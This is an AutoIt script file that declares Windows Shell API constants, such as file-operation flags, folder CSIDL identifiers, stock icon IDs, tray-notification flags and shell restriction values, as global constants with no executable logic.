GLOBAL CONST $SHCNE_UPDATEDIR = 4096
GLOBAL CONST $SHCNE_UPDATEIMAGE = 32768
GLOBAL CONST $SHCNE_UPDATEITEM = 8192
GLOBAL CONST $SHCNE_DISKEVENTS = 145439
GLOBAL CONST $SHCNE_GLOBALEVENTS = 201687520
GLOBAL CONST $SHCNE_INTERRUPT = 2147483648
GLOBAL CONST $SHCNF_DWORD = 3
GLOBAL CONST $SHCNF_IDLIST = 0
GLOBAL CONST $SHCNF_PATH = 1
GLOBAL CONST $SHCNF_PRINTER = 2
GLOBAL CONST $SHCNF_FLUSH = 4096
GLOBAL CONST $SHCNF_FLUSHNOWAIT = 8192
GLOBAL CONST $SHCNF_NOTIFYRECURSIVE = 65536
GLOBAL CONST $SHCNRF_INTERRUPTLEVEL = 1
GLOBAL CONST $SHCNRF_SHELLLEVEL = 2
GLOBAL CONST $SHCNRF_RECURSIVEINTERRUPT = 4096
GLOBAL CONST $SHCNRF_NEWDELIVERY = 32768
GLOBAL CONST $SHERB_NOCONFIRMATION = 1
GLOBAL CONST $SHERB_NOPROGRESSUI = 2
GLOBAL CONST $SHERB_NOSOUND = 4
GLOBAL CONST $SHERB_NO_UI = BITOR ($SHERB_NOCONFIRMATION , $SHERB_NOPROGRESSUI , $SHERB_NOSOUND )
GLOBAL CONST $SEE_MASK_DEFAULT = 0
GLOBAL CONST $SEE_MASK_CLASSNAME = 1
GLOBAL CONST $SEE_MASK_CLASSKEY = 3
GLOBAL CONST $SEE_MASK_IDLIST = 4
GLOBAL CONST $SEE_MASK_INVOKEIDLIST = 12
GLOBAL CONST $SEE_MASK_ICON = 16
GLOBAL CONST $SEE_MASK_HOTKEY = 32
GLOBAL CONST $SEE_MASK_NOCLOSEPROCESS = 64
GLOBAL CONST $SEE_MASK_CONNECTNETDRV = 128
GLOBAL CONST $SEE_MASK_NOASYNC = 256
GLOBAL CONST $SEE_MASK_FLAG_DDEWAIT = $SEE_MASK_NOASYNC
GLOBAL CONST $SEE_MASK_DOENVSUBST = 512
GLOBAL CONST $SEE_MASK_FLAG_NO_UI = 1024
GLOBAL CONST $SEE_MASK_UNICODE = 16384
GLOBAL CONST $SEE_MASK_NO_CONSOLE = 32768
GLOBAL CONST $SEE_MASK_ASYNCOK = 1048576
GLOBAL CONST $SEE_MASK_NOQUERYCLASSSTORE = 16777216
GLOBAL CONST $SEE_MASK_HMONITOR = 2097152
GLOBAL CONST $SEE_MASK_NOZONECHECKS = 8388608
GLOBAL CONST $SEE_MASK_WAITFORINPUTIDLE = 33554432
GLOBAL CONST $SEE_MASK_FLAG_LOG_USAGE = 67108864
GLOBAL CONST $SE_ERR_ACCESSDENIED = 5
GLOBAL CONST $SE_ERR_ASSOCINCOMPLETE = 27
GLOBAL CONST $SE_ERR_DDEBUSY = 30
GLOBAL CONST $SE_ERR_DDEFAIL = 29
GLOBAL CONST $SE_ERR_DDETIMEOUT = 28
GLOBAL CONST $SE_ERR_DLLNOTFOUND = 32
GLOBAL CONST $SE_ERR_FNF = 2
GLOBAL CONST $SE_ERR_NOASSOC = 31
GLOBAL CONST $SE_ERR_OOM = 8
GLOBAL CONST $SE_ERR_PNF = 3
GLOBAL CONST $SE_ERR_SHARE = 26
GLOBAL CONST $FO_COPY = 2
GLOBAL CONST $FO_DELETE = 3
GLOBAL CONST $FO_MOVE = 1
GLOBAL CONST $FO_RENAME = 4
GLOBAL CONST $FOF_ALLOWUNDO = 64
GLOBAL CONST $FOF_CONFIRMMOUSE = 2
GLOBAL CONST $FOF_FILESONLY = 128
GLOBAL CONST $FOF_MULTIDESTFILES = 1
GLOBAL CONST $FOF_NOCONFIRMATION = 16
GLOBAL CONST $FOF_NOCONFIRMMKDIR = 512
GLOBAL CONST $FOF_NO_CONNECTED_ELEMENTS = 8192
GLOBAL CONST $FOF_NOCOPYSECURITYATTRIBS = 2048
GLOBAL CONST $FOF_NOERRORUI = 1024
GLOBAL CONST $FOF_NORECURSEREPARSE = 32768
GLOBAL CONST $FOF_NORECURSION = 4096
GLOBAL CONST $FOF_RENAMEONCOLLISION = 8
GLOBAL CONST $FOF_SILENT = 4
GLOBAL CONST $FOF_SIMPLEPROGRESS = 256
GLOBAL CONST $FOF_WANTMAPPINGHANDLE = 32
GLOBAL CONST $FOF_WANTNUKEWARNING = 16384
GLOBAL CONST $FOF_NO_UI = BITOR ($FOF_NOCONFIRMATION , $FOF_NOCONFIRMMKDIR , $FOF_NOERRORUI , $FOF_SILENT )
GLOBAL CONST $SHGFI_ADDOVERLAYS = 32
GLOBAL CONST $SHGFI_ATTR_SPECIFIED = 131072
GLOBAL CONST $SHGFI_ATTRIBUTES = 2048
GLOBAL CONST $SHGFI_DISPLAYNAME = 512
GLOBAL CONST $SHGFI_EXETYPE = 8192
GLOBAL CONST $SHGFI_ICON = 256
GLOBAL CONST $SHGFI_ICONLOCATION = 4096
GLOBAL CONST $SHGFI_LARGEICON = 0
GLOBAL CONST $SHGFI_LINKOVERLAY = 32768
GLOBAL CONST $SHGFI_OPENICON = 2
GLOBAL CONST $SHGFI_OVERLAYINDEX = 64
GLOBAL CONST $SHGFI_PIDL = 8
GLOBAL CONST $SHGFI_SELECTED = 65536
GLOBAL CONST $SHGFI_SHELLICONSIZE = 4
GLOBAL CONST $SHGFI_SMALLICON = 1
GLOBAL CONST $SHGFI_SYSICONINDEX = 16384
GLOBAL CONST $SHGFI_TYPENAME = 1024
GLOBAL CONST $SHGFI_USEFILEATTRIBUTES = 16
GLOBAL CONST $SFGAO_CANCOPY = 1
GLOBAL CONST $SFGAO_CANMOVE = 2
GLOBAL CONST $SFGAO_CANLINK = 4
GLOBAL CONST $SFGAO_STORAGE = 8
GLOBAL CONST $SFGAO_CANRENAME = 16
GLOBAL CONST $SFGAO_CANDELETE = 32
GLOBAL CONST $SFGAO_HASPROPSHEET = 64
GLOBAL CONST $SFGAO_DROPTARGET = 256
GLOBAL CONST $SFGAO_CAPABILITYMASK = BITOR ($SFGAO_CANCOPY , $SFGAO_CANMOVE , $SFGAO_CANLINK , $SFGAO_CANRENAME , $SFGAO_CANDELETE , $SFGAO_HASPROPSHEET , $SFGAO_DROPTARGET )
GLOBAL CONST $SFGAO_SYSTEM = 4096
GLOBAL CONST $SFGAO_ENCRYPTED = 8192
GLOBAL CONST $SFGAO_ISSLOW = 16384
GLOBAL CONST $SFGAO_GHOSTED = 32768
GLOBAL CONST $SFGAO_LINK = 65536
GLOBAL CONST $SFGAO_SHARE = 131072
GLOBAL CONST $SFGAO_READONLY = 262144
GLOBAL CONST $SFGAO_HIDDEN = 524288
GLOBAL CONST $SFGAO_DISPLAYATTRMASK = BITOR ($SFGAO_ISSLOW , $SFGAO_GHOSTED , $SFGAO_LINK , $SFGAO_SHARE , $SFGAO_READONLY , $SFGAO_HIDDEN )
GLOBAL CONST $SFGAO_NONENUMERATED = 1048576
GLOBAL CONST $SFGAO_NEWCONTENT = 2097152
GLOBAL CONST $SFGAO_STREAM = 4194304
GLOBAL CONST $SFGAO_STORAGEANCESTOR = 8388608
GLOBAL CONST $SFGAO_VALIDATE = 16777216
GLOBAL CONST $SFGAO_REMOVABLE = 33554432
GLOBAL CONST $SFGAO_COMPRESSED = 67108864
GLOBAL CONST $SFGAO_BROWSABLE = 134217728
GLOBAL CONST $SFGAO_FILESYSANCESTOR = 268435456
GLOBAL CONST $SFGAO_FOLDER = 536870912
GLOBAL CONST $SFGAO_FILESYSTEM = 1073741824
GLOBAL CONST $SFGAO_STORAGECAPMASK = BITOR ($SFGAO_STORAGE , $SFGAO_LINK , $SFGAO_READONLY , $SFGAO_STREAM , $SFGAO_STORAGEANCESTOR , $SFGAO_FILESYSANCESTOR , $SFGAO_FOLDER , $SFGAO_FILESYSTEM )
GLOBAL CONST $SFGAO_HASSUBFOLDER = 2147483648
GLOBAL CONST $SFGAO_CONTENTSMASK = $SFGAO_HASSUBFOLDER
GLOBAL CONST $SFGAO_PKEYSFGAOMASK = BITOR ($SFGAO_ISSLOW , $SFGAO_READONLY , $SFGAO_HASSUBFOLDER , $SFGAO_VALIDATE )
GLOBAL CONST $IDO_SHGIOI_DEFAULT = 268435452
GLOBAL CONST $IDO_SHGIOI_LINK = 268435454
GLOBAL CONST $IDO_SHGIOI_SHARE = 268435455
GLOBAL CONST $IDO_SHGIOI_SLOWFILE = 268435453
GLOBAL CONST $FCSM_VIEWID = 1
GLOBAL CONST $FCSM_WEBVIEWTEMPLATE = 2
GLOBAL CONST $FCSM_INFOTIP = 4
GLOBAL CONST $FCSM_CLSID = 8
GLOBAL CONST $FCSM_ICONFILE = 16
GLOBAL CONST $FCSM_LOGO = 32
GLOBAL CONST $FCSM_FLAGS = 64
GLOBAL CONST $FCS_READ = 1
GLOBAL CONST $FCS_FORCEWRITE = 2
GLOBAL CONST $FCS_WRITE = BITOR ($FCS_READ , $FCS_FORCEWRITE )
GLOBAL CONST $SSF_AUTOCHECKSELECT = 8388608
GLOBAL CONST $SSF_DESKTOPHTML = 512
GLOBAL CONST $SSF_DONTPRETTYPATH = 2048
GLOBAL CONST $SSF_DOUBLECLICKINWEBVIEW = 128
GLOBAL CONST $SSF_HIDEICONS = 16384
GLOBAL CONST $SSF_ICONSONLY = 16777216
GLOBAL CONST $SSF_MAPNETDRVBUTTON = 4096
GLOBAL CONST $SSF_NOCONFIRMRECYCLE = 32768
GLOBAL CONST $SSF_NONETCRAWLING = 1048576
GLOBAL CONST $SSF_SEPPROCESS = 524288
GLOBAL CONST $SSF_SHOWALLOBJECTS = 1
GLOBAL CONST $SSF_SHOWCOMPCOLOR = 8
GLOBAL CONST $SSF_SHOWEXTENSIONS = 2
GLOBAL CONST $SSF_SHOWINFOTIP = 8192
GLOBAL CONST $SSF_SHOWSUPERHIDDEN = 262144
GLOBAL CONST $SSF_SHOWSYSFILES = 32
GLOBAL CONST $SSF_SHOWTYPEOVERLAY = 33554432
GLOBAL CONST $SSF_STARTPANELON = 2097152
GLOBAL CONST $SSF_WIN95CLASSIC = 1024
GLOBAL CONST $SSF_WEBVIEW = 131072
GLOBAL CONST $CSIDL_ADMINTOOLS = 48
GLOBAL CONST $CSIDL_ALTSTARTUP = 29
GLOBAL CONST $CSIDL_APPDATA = 26
GLOBAL CONST $CSIDL_BITBUCKET = 10
GLOBAL CONST $CSIDL_CDBURN_AREA = 59
GLOBAL CONST $CSIDL_COMMON_ADMINTOOLS = 47
GLOBAL CONST $CSIDL_COMMON_ALTSTARTUP = 30
GLOBAL CONST $CSIDL_COMMON_APPDATA = 35
GLOBAL CONST $CSIDL_COMMON_DESKTOPDIRECTORY = 25
GLOBAL CONST $CSIDL_COMMON_DOCUMENTS = 46
GLOBAL CONST $CSIDL_COMMON_FAVORITES = 31
GLOBAL CONST $CSIDL_COMMON_MUSIC = 53
GLOBAL CONST $CSIDL_COMMON_PICTURES = 54
GLOBAL CONST $CSIDL_COMMON_PROGRAMS = 23
GLOBAL CONST $CSIDL_COMMON_STARTMENU = 22
GLOBAL CONST $CSIDL_COMMON_STARTUP = 24
GLOBAL CONST $CSIDL_COMMON_TEMPLATES = 45
GLOBAL CONST $CSIDL_COMMON_VIDEO = 55
GLOBAL CONST $CSIDL_COMPUTERSNEARME = 61
GLOBAL CONST $CSIDL_CONNECTIONS = 49
GLOBAL CONST $CSIDL_CONTROLS = 3
GLOBAL CONST $CSIDL_COOKIES = 33
GLOBAL CONST $CSIDL_DESKTOP = 0
GLOBAL CONST $CSIDL_DESKTOPDIRECTORY = 16
GLOBAL CONST $CSIDL_DRIVES = 17
GLOBAL CONST $CSIDL_FAVORITES = 6
GLOBAL CONST $CSIDL_FONTS = 20
GLOBAL CONST $CSIDL_INTERNET_CACHE = 32
GLOBAL CONST $CSIDL_HISTORY = 34
GLOBAL CONST $CSIDL_LOCAL_APPDATA = 28
GLOBAL CONST $CSIDL_MYMUSIC = 13
GLOBAL CONST $CSIDL_MYPICTURES = 39
GLOBAL CONST $CSIDL_MYVIDEO = 14
GLOBAL CONST $CSIDL_NETHOOD = 19
GLOBAL CONST $CSIDL_PERSONAL = 5
GLOBAL CONST $CSIDL_PRINTERS = 4
GLOBAL CONST $CSIDL_PRINTHOOD = 27
GLOBAL CONST $CSIDL_PROFILE = 40
GLOBAL CONST $CSIDL_PROGRAM_FILES = 38
GLOBAL CONST $CSIDL_PROGRAM_FILES_COMMON = 43
GLOBAL CONST $CSIDL_PROGRAM_FILES_COMMONX86 = 44
GLOBAL CONST $CSIDL_PROGRAM_FILESX86 = 42
GLOBAL CONST $CSIDL_PROGRAMS = 2
GLOBAL CONST $CSIDL_RECENT = 8
GLOBAL CONST $CSIDL_SENDTO = 9
GLOBAL CONST $CSIDL_STARTMENU = 11
GLOBAL CONST $CSIDL_STARTUP = 7
GLOBAL CONST $CSIDL_SYSTEM = 37
GLOBAL CONST $CSIDL_SYSTEMX86 = 41
GLOBAL CONST $CSIDL_TEMPLATES = 21
GLOBAL CONST $CSIDL_WINDOWS = 36
GLOBAL CONST $SIID_DOCNOASSOC = 0
GLOBAL CONST $SIID_DOCASSOC = 1
GLOBAL CONST $SIID_APPLICATION = 2
GLOBAL CONST $SIID_FOLDER = 3
GLOBAL CONST $SIID_FOLDEROPEN = 4
GLOBAL CONST $SIID_DRIVE525 = 5
GLOBAL CONST $SIID_DRIVE35 = 6
GLOBAL CONST $SIID_DRIVEREMOVE = 7
GLOBAL CONST $SIID_DRIVEFIXED = 8
GLOBAL CONST $SIID_DRIVENET = 9
GLOBAL CONST $SIID_DRIVENETDISABLED = 10
GLOBAL CONST $SIID_DRIVECD = 11
GLOBAL CONST $SIID_DRIVERAM = 12
GLOBAL CONST $SIID_WORLD = 13
GLOBAL CONST $SIID_SERVER = 15
GLOBAL CONST $SIID_PRINTER = 16
GLOBAL CONST $SIID_MYNETWORK = 17
GLOBAL CONST $SIID_FIND = 22
GLOBAL CONST $SIID_HELP = 23
GLOBAL CONST $SIID_SHARE = 28
GLOBAL CONST $SIID_LINK = 29
GLOBAL CONST $SIID_SLOWFILE = 30
GLOBAL CONST $SIID_RECYCLER = 31
GLOBAL CONST $SIID_RECYCLERFULL = 32
GLOBAL CONST $SIID_MEDIACDAUDIO = 40
GLOBAL CONST $SIID_LOCK = 47
GLOBAL CONST $SIID_AUTOLIST = 49
GLOBAL CONST $SIID_PRINTERNET = 50
GLOBAL CONST $SIID_SERVERSHARE = 51
GLOBAL CONST $SIID_PRINTERFAX = 52
GLOBAL CONST $SIID_PRINTERFAXNET = 53
GLOBAL CONST $SIID_PRINTERFILE = 54
GLOBAL CONST $SIID_STACK = 55
GLOBAL CONST $SIID_MEDIASVCD = 56
GLOBAL CONST $SIID_STUFFEDFOLDER = 57
GLOBAL CONST $SIID_DRIVEUNKNOWN = 58
GLOBAL CONST $SIID_DRIVEDVD = 59
GLOBAL CONST $SIID_MEDIADVD = 60
GLOBAL CONST $SIID_MEDIADVDRAM = 61
GLOBAL CONST $SIID_MEDIADVDRW = 62
GLOBAL CONST $SIID_MEDIADVDR = 63
GLOBAL CONST $SIID_MEDIADVDROM = 64
GLOBAL CONST $SIID_MEDIACDAUDIOPLUS = 65
GLOBAL CONST $SIID_MEDIACDRW = 66
GLOBAL CONST $SIID_MEDIACDR = 67
GLOBAL CONST $SIID_MEDIACDBURN = 68
GLOBAL CONST $SIID_MEDIABLANKCD = 69
GLOBAL CONST $SIID_MEDIACDROM = 70
GLOBAL CONST $SIID_AUDIOFILES = 71
GLOBAL CONST $SIID_IMAGEFILES = 72
GLOBAL CONST $SIID_VIDEOFILES = 73
GLOBAL CONST $SIID_MIXEDFILES = 74
GLOBAL CONST $SIID_FOLDERBACK = 75
GLOBAL CONST $SIID_FOLDERFRONT = 76
GLOBAL CONST $SIID_SHIELD = 77
GLOBAL CONST $SIID_WARNING = 78
GLOBAL CONST $SIID_INFO = 79
GLOBAL CONST $SIID_ERROR = 80
GLOBAL CONST $SIID_KEY = 81
GLOBAL CONST $SIID_SOFTWARE = 82
GLOBAL CONST $SIID_RENAME = 83
GLOBAL CONST $SIID_DELETE = 84
GLOBAL CONST $SIID_MEDIAAUDIODVD = 85
GLOBAL CONST $SIID_MEDIAMOVIEDVD = 86
GLOBAL CONST $SIID_MEDIAENHANCEDCD = 87
GLOBAL CONST $SIID_MEDIAENHANCEDDVD = 88
GLOBAL CONST $SIID_MEDIAHDDVD = 89
GLOBAL CONST $SIID_MEDIABLURAY = 90
GLOBAL CONST $SIID_MEDIAVCD = 91
GLOBAL CONST $SIID_MEDIADVDPLUSR = 92
GLOBAL CONST $SIID_MEDIADVDPLUSRW = 93
GLOBAL CONST $SIID_DESKTOPPC = 94
GLOBAL CONST $SIID_MOBILEPC = 95
GLOBAL CONST $SIID_USERS = 96
GLOBAL CONST $SIID_MEDIASMARTMEDIA = 97
GLOBAL CONST $SIID_MEDIACOMPACTFLASH = 98
GLOBAL CONST $SIID_DEVICECELLPHONE = 99
GLOBAL CONST $SIID_DEVICECAMERA = 100
GLOBAL CONST $SIID_DEVICEVIDEOCAMERA = 101
GLOBAL CONST $SIID_DEVICEAUDIOPLAYER = 102
GLOBAL CONST $SIID_NETWORKCONNECT = 103
GLOBAL CONST $SIID_INTERNET = 104
GLOBAL CONST $SIID_ZIPFILE = 105
GLOBAL CONST $SIID_SETTINGS = 106
GLOBAL CONST $SIID_DRIVEHDDVD = 132
GLOBAL CONST $SIID_DRIVEBD = 133
GLOBAL CONST $SIID_MEDIAHDDVDROM = 134
GLOBAL CONST $SIID_MEDIAHDDVDR = 135
GLOBAL CONST $SIID_MEDIAHDDVDRAM = 136
GLOBAL CONST $SIID_MEDIABDROM = 137
GLOBAL CONST $SIID_MEDIABDR = 138
GLOBAL CONST $SIID_MEDIABDRE = 139
GLOBAL CONST $SIID_CLUSTEREDDRIVE = 140
GLOBAL CONST $SIID_MAX_ICONS = 174
GLOBAL CONST $SHGSI_ICONLOCATION = 0
GLOBAL CONST $SHGSI_ICON = $SHGFI_ICON
GLOBAL CONST $SHGSI_SYSICONINDEX = $SHGFI_SYSICONINDEX
GLOBAL CONST $SHGSI_LINKOVERLAY = $SHGFI_LINKOVERLAY
GLOBAL CONST $SHGSI_SELECTED = $SHGFI_SELECTED
GLOBAL CONST $SHGSI_LARGEICON = $SHGFI_LARGEICON
GLOBAL CONST $SHGSI_SMALLICON = $SHGFI_SMALLICON
GLOBAL CONST $SHGSI_SHELLICONSIZE = $SHGFI_SHELLICONSIZE
GLOBAL CONST $NIM_ADD = 0
GLOBAL CONST $NIM_MODIFY = 1
GLOBAL CONST $NIM_DELETE = 2
GLOBAL CONST $NIM_SETFOCUS = 3
GLOBAL CONST $NIM_SETVERSION = 4
GLOBAL CONST $NIF_MESSAGE = 1
GLOBAL CONST $NIF_ICON = 2
GLOBAL CONST $NIF_TIP = 4
GLOBAL CONST $NIF_STATE = 8
GLOBAL CONST $NIF_INFO = 16
GLOBAL CONST $NIF_GUID = 32
GLOBAL CONST $NIF_REALTIME = 64
GLOBAL CONST $NIF_SHOWTIP = 128
GLOBAL CONST $NIS_HIDDEN = 1
GLOBAL CONST $NIS_SHAREDICON = 2
GLOBAL CONST $NIIF_NONE = 0
GLOBAL CONST $NIIF_INFO = 1
GLOBAL CONST $NIIF_WARNING = 2
GLOBAL CONST $NIIF_ERROR = 3
GLOBAL CONST $NIIF_USER = 4
GLOBAL CONST $NIIF_NOSOUND = 16
GLOBAL CONST $NIIF_LARGE_ICON = 16
GLOBAL CONST $NIIF_RESPECT_QUIET_TIME = 128
GLOBAL CONST $NIIF_ICON_MASK = 15
GLOBAL CONST $SHOP_PRINTERNAME = 1
GLOBAL CONST $SHOP_FILEPATH = 2
GLOBAL CONST $SHOP_VOLUMEGUID = 4
GLOBAL CONST $OFASI_EDIT = 1
GLOBAL CONST $OFASI_OPENDESKTOP = 2
GLOBAL CONST $QUNS_NOT_PRESENT = 1
GLOBAL CONST $QUNS_BUSY = 2
GLOBAL CONST $QUNS_RUNNING_D3D_FULL_SCREEN = 3
GLOBAL CONST $QUNS_PRESENTATION_MODE = 4
GLOBAL CONST $QUNS_ACCEPTS_NOTIFICATIONS = 5
GLOBAL CONST $QUNS_QUIET_TIME = 6
GLOBAL CONST $REST_NORUN = 1
GLOBAL CONST $REST_NOCLOSE = 2
GLOBAL CONST $REST_NOSAVESET = 3
GLOBAL CONST $REST_NOFILEMENU = 4
GLOBAL CONST $REST_NOSETFOLDERS = 5
GLOBAL CONST $REST_NOSETTASKBAR = 6
GLOBAL CONST $REST_NODESKTOP = 7
GLOBAL CONST $REST_NOFIND = 8
GLOBAL CONST $REST_NODRIVES = 9
GLOBAL CONST $REST_NODRIVEAUTORUN = 10
GLOBAL CONST $REST_NODRIVETYPEAUTORUN = 11
GLOBAL CONST $REST_NONETHOOD = 12
GLOBAL CONST $REST_STARTBANNER = 13
GLOBAL CONST $REST_RESTRICTRUN = 14
GLOBAL CONST $REST_NOPRINTERTABS = 15
GLOBAL CONST $REST_NOPRINTERDELETE = 16
GLOBAL CONST $REST_NOPRINTERADD = 17
GLOBAL CONST $REST_NOSTARTMENUSUBFOLDERS = 18
GLOBAL CONST $REST_MYDOCSONNET = 19
GLOBAL CONST $REST_NOEXITTODOS = 20
GLOBAL CONST $REST_ENFORCESHELLEXTSECURITY = 21
GLOBAL CONST $REST_LINKRESOLVEIGNORELINKINFO = 22
GLOBAL CONST $REST_NOCOMMONGROUPS = 23
GLOBAL CONST $REST_SEPARATEDESKTOPPROCESS = 24
GLOBAL CONST $REST_NOWEB = 25
GLOBAL CONST $REST_NOTRAYCONTEXTMENU = 26
GLOBAL CONST $REST_NOVIEWCONTEXTMENU = 27
GLOBAL CONST $REST_NONETCONNECTDISCONNECT = 28
GLOBAL CONST $REST_STARTMENULOGOFF = 29
GLOBAL CONST $REST_NOSETTINGSASSIST = 30
GLOBAL CONST $REST_NOINTERNETICON = 31
GLOBAL CONST $REST_NORECENTDOCSHISTORY = 32
GLOBAL CONST $REST_NORECENTDOCSMENU = 33
GLOBAL CONST $REST_NOACTIVEDESKTOP = 34
GLOBAL CONST $REST_NOACTIVEDESKTOPCHANGES = 35
GLOBAL CONST $REST_NOFAVORITESMENU = 36
GLOBAL CONST $REST_CLEARRECENTDOCSONEXIT = 37
GLOBAL CONST $REST_CLASSICSHELL = 38
GLOBAL CONST $REST_NOCUSTOMIZEWEBVIEW = 39
GLOBAL CONST $REST_NOHTMLWALLPAPER = 40
GLOBAL CONST $REST_NOCHANGINGWALLPAPER = 41
GLOBAL CONST $REST_NODESKCOMP = 42
GLOBAL CONST $REST_NOADDDESKCOMP = 43
GLOBAL CONST $REST_NODELDESKCOMP = 44
GLOBAL CONST $REST_NOCLOSEDESKCOMP = 45
GLOBAL CONST $REST_NOCLOSE_DRAGDROPBAND = 46
GLOBAL CONST $REST_NOMOVINGBAND = 47
GLOBAL CONST $REST_NOEDITDESKCOMP = 48
GLOBAL CONST $REST_NORESOLVESEARCH = 49
GLOBAL CONST $REST_NORESOLVETRACK = 50
GLOBAL CONST $REST_FORCECOPYACLWITHFILE = 51
GLOBAL CONST $REST_NOLOGO3CHANNELNOTIFY = 52
GLOBAL CONST $REST_NOFORGETSOFTWAREUPDATE = 53
GLOBAL CONST $REST_NOSETACTIVEDESKTOP = 54
GLOBAL CONST $REST_NOUPDATEWINDOWS = 55
GLOBAL CONST $REST_NOCHANGESTARMENU = 56
GLOBAL CONST $REST_NOFOLDEROPTIONS = 57
GLOBAL CONST $REST_HASFINDCOMPUTERS = 58
GLOBAL CONST $REST_INTELLIMENUS = 59
GLOBAL CONST $REST_RUNDLGMEMCHECKBOX = 60
GLOBAL CONST $REST_ARP_SHOWPOSTSETUP = 61
GLOBAL CONST $REST_NOCSC = 62
GLOBAL CONST $REST_NOCONTROLPANEL = 63
GLOBAL CONST $REST_ENUMWORKGROUP = 64
GLOBAL CONST $REST_ARP_NOARP = 65
GLOBAL CONST $REST_ARP_NOREMOVEPAGE = 66
GLOBAL CONST $REST_ARP_NOADDPAGE = 67
GLOBAL CONST $REST_ARP_NOWINSETUPPAGE = 68
GLOBAL CONST $REST_GREYMSIADS = 69
GLOBAL CONST $REST_NOCHANGEMAPPEDDRIVELABEL = 70
GLOBAL CONST $REST_NOCHANGEMAPPEDDRIVECOMMENT = 71
GLOBAL CONST $REST_MAXRECENTDOCS = 72
GLOBAL CONST $REST_NONETWORKCONNECTIONS = 73
GLOBAL CONST $REST_FORCESTARTMENULOGOFF = 74
GLOBAL CONST $REST_NOWEBVIEW = 75
GLOBAL CONST $REST_NOCUSTOMIZETHISFOLDER = 76
GLOBAL CONST $REST_NOENCRYPTION = 77
GLOBAL CONST $REST_DONTSHOWSUPERHIDDEN = 78
GLOBAL CONST $REST_NOSHELLSEARCHBUTTON = 79
GLOBAL CONST $REST_NOHARDWARETAB = 80
GLOBAL CONST $REST_NORUNASINSTALLPROMPT = 81
GLOBAL CONST $REST_PROMPTRUNASINSTALLNETPATH = 82
GLOBAL CONST $REST_NOMANAGEMYCOMPUTERVERB = 83
GLOBAL CONST $REST_NORECENTDOCSNETHOOD = 84
GLOBAL CONST $REST_DISALLOWRUN = 85
GLOBAL CONST $REST_NOWELCOMESCREEN = 86
GLOBAL CONST $REST_RESTRICTCPL = 87
GLOBAL CONST $REST_DISALLOWCPL = 88
GLOBAL CONST $REST_NOSMBALLOONTIP = 89
GLOBAL CONST $REST_NOSMHELP = 90
GLOBAL CONST $REST_NOWINKEYS = 91
GLOBAL CONST $REST_NOENCRYPTONMOVE = 92
GLOBAL CONST $REST_NOLOCALMACHINERUN = 93
GLOBAL CONST $REST_NOCURRENTUSERRUN = 94
GLOBAL CONST $REST_NOLOCALMACHINERUNONCE = 95
GLOBAL CONST $REST_NOCURRENTUSERRUNONCE = 96
GLOBAL CONST $REST_FORCEACTIVEDESKTOPON = 97
GLOBAL CONST $REST_NOCOMPUTERSNEARME = 98
GLOBAL CONST $REST_NOVIEWONDRIVE = 99
GLOBAL CONST $REST_NONETCRAWL = 100
GLOBAL CONST $REST_NOSHAREDDOCUMENTS = 101
GLOBAL CONST $REST_NOSMMYDOCS = 102
GLOBAL CONST $REST_NOSMMYPICS = 103
GLOBAL CONST $REST_ALLOWBITBUCKDRIVES = 104
GLOBAL CONST $REST_NONLEGACYSHELLMODE = 105
GLOBAL CONST $REST_NOCONTROLPANELBARRICADE = 106
GLOBAL CONST $REST_NOSTARTPAGE = 107
GLOBAL CONST $REST_NOAUTOTRAYNOTIFY = 108
GLOBAL CONST $REST_NOTASKGROUPING = 109
GLOBAL CONST $REST_NOCDBURNING = 110
GLOBAL CONST $REST_MYCOMPNOPROP = 111
GLOBAL CONST $REST_MYDOCSNOPROP = 112
GLOBAL CONST $REST_NOSTARTPANEL = 113
GLOBAL CONST $REST_NODISPLAYAPPEARANCEPAGE = 114
GLOBAL CONST $REST_NOTHEMESTAB = 115
GLOBAL CONST $REST_NOVISUALSTYLECHOICE = 116
GLOBAL CONST $REST_NOSIZECHOICE = 117
GLOBAL CONST $REST_NOCOLORCHOICE = 118
GLOBAL CONST $REST_SETVISUALSTYLE = 119
GLOBAL CONST $REST_STARTRUNNOHOMEPATH = 120
GLOBAL CONST $REST_NOUSERNAMEINSTARTPANEL = 121
GLOBAL CONST $REST_NOMYCOMPUTERICON = 122
GLOBAL CONST $REST_NOSMNETWORKPLACES = 123
GLOBAL CONST $REST_NOSMPINNEDLIST = 124
GLOBAL CONST $REST_NOSMMYMUSIC = 125
GLOBAL CONST $REST_NOSMEJECTPC = 126
GLOBAL CONST $REST_NOSMMOREPROGRAMS = 127
GLOBAL CONST $REST_NOSMMFUPROGRAMS = 128
GLOBAL CONST $REST_NOTRAYITEMSDISPLAY = 129
GLOBAL CONST $REST_NOTOOLBARSONTASKBAR = 130
GLOBAL CONST $REST_NOSMCONFIGUREPROGRAMS = 131
GLOBAL CONST $REST_HIDECLOCK = 132
GLOBAL CONST $REST_NOLOWDISKSPACECHECKS = 133
GLOBAL CONST $REST_NOENTIRENETWORK = 134
GLOBAL CONST $REST_NODESKTOPCLEANUP = 135
GLOBAL CONST $REST_BITBUCKNUKEONDELETE = 136
GLOBAL CONST $REST_BITBUCKCONFIRMDELETE = 137
GLOBAL CONST $REST_BITBUCKNOPROP = 138
GLOBAL CONST $REST_NODISPBACKGROUND = 139
GLOBAL CONST $REST_NODISPSCREENSAVEPG = 140
GLOBAL CONST $REST_NODISPSETTINGSPG = 141
GLOBAL CONST $REST_NODISPSCREENSAVEPREVIEW = 142
GLOBAL CONST $REST_NODISPLAYCPL = 143
GLOBAL CONST $REST_HIDERUNASVERB = 144
GLOBAL CONST $REST_NOTHUMBNAILCACHE = 145
GLOBAL CONST $REST_NOSTRCMPLOGICAL = 146
GLOBAL CONST $REST_NOPUBLISHWIZARD = 147
GLOBAL CONST $REST_NOONLINEPRINTSWIZARD = 148
GLOBAL CONST $REST_NOWEBSERVICES = 149
GLOBAL CONST $REST_ALLOWUNHASHEDWEBVIEW = 150
GLOBAL CONST $REST_ALLOWLEGACYWEBVIEW = 151
GLOBAL CONST $REST_REVERTWEBVIEWSECURITY = 152
GLOBAL CONST $REST_INHERITCONSOLEHANDLES = 153
GLOBAL CONST $REST_SORTMAXITEMCOUNT = 154
GLOBAL CONST $REST_NOREMOTERECURSIVEEVENTS = 155
GLOBAL CONST $REST_NOREMOTECHANGENOTIFY = 156
GLOBAL CONST $REST_NOSIMPLENETIDLIST = 157
GLOBAL CONST $REST_NOENUMENTIRENETWORK = 158
GLOBAL CONST $REST_NODETAILSTHUMBNAILONNETWORK = 159
GLOBAL CONST $REST_NOINTERNETOPENWITH = 160
GLOBAL CONST $REST_ALLOWLEGACYLMZBEHAVIOR = 161
